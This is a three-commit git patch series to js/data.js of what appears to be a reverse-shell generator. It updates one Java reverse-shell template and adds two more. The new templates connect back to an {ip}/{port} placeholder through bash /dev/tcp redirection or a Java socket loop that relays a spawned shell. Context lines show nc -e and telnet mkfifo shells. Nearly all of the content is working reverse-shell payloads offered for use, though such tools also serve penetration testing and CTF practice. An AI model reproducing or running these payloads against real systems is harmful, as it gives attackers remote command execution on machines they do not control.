From 8ac7183a23e838c8b6d75280eb0220d84484b225 Mon Sep 17 00:00:00 2001 From: Adam Bertrand Date: Tue, 21 Sep 2021 12:40:48 +0200 Subject: [PATCH 1/3] Update Java shells and remove some unnecessary cruft --- js/data.js | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/js/data.js b/js/data.js index a786447..8420a63 100644 --- a/js/data.js +++ b/js/data.js @@ -248,9 +248,14 @@ const reverseShellCommands = withCommandType( "command": "require('child_process').exec('nc -e {shell} {ip} {port}')", "meta": ["linux", "mac"] }, - { + { "name": "Java #1", - "command": "import java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class shell {\n public static void main(String args[]) {\n String s;\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", + "command": "public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", + "meta": ["linux", "mac"] + }, + { + "name": "Java #2", + "command": "public class shell {\n public static void main(String[] args) {\n ProcessBuilder pb = new ProcessBuilder(\"bash\", \"-c\", \"$@| bash -i >& /dev/tcp/{ip}/{port} 0>&1\")\n .redirectErrorStream(true);\n try {\n Process p = pb.start();\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", "meta": ["linux", "mac"] }, { From b64401b980c44374ce6de3513aaad0c5dc173fd1 Mon Sep 17 00:00:00 2001 From: Adam Bertrand Date: Tue, 21 Sep 2021 13:43:56 +0200 Subject: [PATCH 2/3] Add a new java shell --- js/data.js | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/js/data.js b/js/data.js index 8420a63..9e69f02 100644 --- a/js/data.js +++ b/js/data.js @@ -258,6 +258,11 @@ const reverseShellCommands = withCommandType( "command": "public class shell {\n public static void main(String[] args) {\n ProcessBuilder pb = new ProcessBuilder(\"bash\", \"-c\", \"$@| bash -i >& /dev/tcp/{ip}/{port} 0>&1\")\n .redirectErrorStream(true);\n try {\n Process p = pb.start();\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", "meta": ["linux", "mac"] }, + { + "name": "Java #3", + "command": "import java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\npublic class shell {\n public static void main(String[] args) {\n String host = \"{ip}\";\n int port = {port};\n String cmd = \"{shell}\";\n try {\n Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();\n Socket s = new Socket(host, port);\n InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\n OutputStream po = p.getOutputStream(), so = s.getOutputStream();\n while (!s.isClosed()) {\n while (pi.available() > 0)\n so.write(pi.read());\n while (pe.available() > 0)\n so.write(pe.read());\n while (si.available() > 0)\n po.write(si.read());\n so.flush();\n po.flush();\n Thread.sleep(50);\n try {\n p.exitValue();\n break;\n } catch (Exception e) {}\n }\n p.destroy();\n s.close();\n } catch (Exception e) {}\n }\n}", + "meta": ["windows", "linux", "mac"] + }, { "name": "telnet", "command": "TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF", From ab01c7e45ecad7ee737b938bfbfe74090e85dcfb Mon Sep 17 00:00:00 2001 From: Adam Bertrand Date: Tue, 21 Sep 2021 13:49:25 +0200 Subject: [PATCH 3/3] Fix indentation --- js/data.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index 9e69f02..d5a7f4c 100644 --- a/js/data.js +++ b/js/data.js @@ -248,7 +248,7 @@ const reverseShellCommands = withCommandType( "command": "require('child_process').exec('nc -e {shell} {ip} {port}')", "meta": ["linux", "mac"] }, - { + { "name": "Java #1", "command": "public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", "meta": ["linux", "mac"]